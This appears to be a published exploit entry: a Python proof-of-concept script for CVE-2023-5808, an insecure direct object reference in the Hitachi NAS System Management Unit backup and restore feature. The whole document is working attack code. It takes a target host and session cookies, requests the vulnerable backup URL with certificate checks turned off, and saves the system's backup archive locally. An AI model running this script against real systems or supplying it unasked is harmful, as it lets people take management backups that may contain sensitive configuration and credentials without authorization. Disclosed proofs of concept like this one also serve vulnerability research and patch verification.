Hitachi NAS SMU Backup And Restore Insecure Direct Object Reference

`#!/usr/bin/python3  
#  
# Title: Hitachi NAS (HNAS) System Management Unit (SMU) Backup & Restore IDOR Vulnerability   
# CVE: CVE-2023-5808  
# Date: 2023-12-13  
# Exploit Author: Arslan Masood (@arszilla)  
# Vendor: https://www.hitachivantara.com/  
# Version: < 14.8.7825.01  
# Tested On: 13.9.7021.04   
  
import argparse  
from datetime import datetime  
from os import getcwd  
  
import requests  
  
parser = argparse.ArgumentParser(  
description="CVE-2023-5808 PoC",  
usage="./CVE-2023-5808.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"  
)  
  
# Create --host argument:  
parser.add_argument(  
"--host",  
required=True,  
type=str,  
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"  
)  
  
# Create --id argument:  
parser.add_argument(  
"--id",  
required=True,  
type=str,  
help="JSESSIONID cookie value"  
)  
  
# Create --sso argument:  
parser.add_argument(  
"--sso",  
required=True,  
type=str,  
help="JSESSIONIDSSO cookie value"  
)  
  
args = parser.parse_args()  
  
def download_file(hostname, jsessionid, jsessionidsso):  
# Set the filename:  
filename = f"smu_backup-{datetime.now().strftime('%Y-%m-%d_%H%M')}.zip"  
  
# Vulnerable SMU URL:  
smu_url = f"https://{hostname}/mgr/app/template/simple%2CBackupSmuScreen.vm/password/"  
  
# GET request cookies  
smu_cookies = {  
"JSESSIONID": jsessionid,  
"JSESSIONIDSSO": jsessionidsso  
}  
  
# GET request headers:  
smu_headers = {  
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",  
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",  
"Accept-Language": "en-US,en;q=0.5",  
"Accept-Encoding": "gzip, deflate",  
"Dnt": "1",  
"Referer": f"https://{hostname}/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored",  
"Upgrade-Insecure-Requests": "1",  
"Sec-Fetch-Dest": "document",  
"Sec-Fetch-Mode": "navigate",  
"Sec-Fetch-Site": "same-origin",  
"Sec-Fetch-User": "?1",  
"Te": "trailers",  
"Connection": "close"  
}  
  
# Send the request:  
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:  
with open(filename, 'wb') as backup_archive:  
# Write the zip file to the CWD:  
backup_archive.write(file_download.content)  
  
print(f"{filename} has been downloaded to {getcwd()}")  
  
if __name__ == "__main__":  
download_file(args.host, args.id, args.sso)  
  
  
`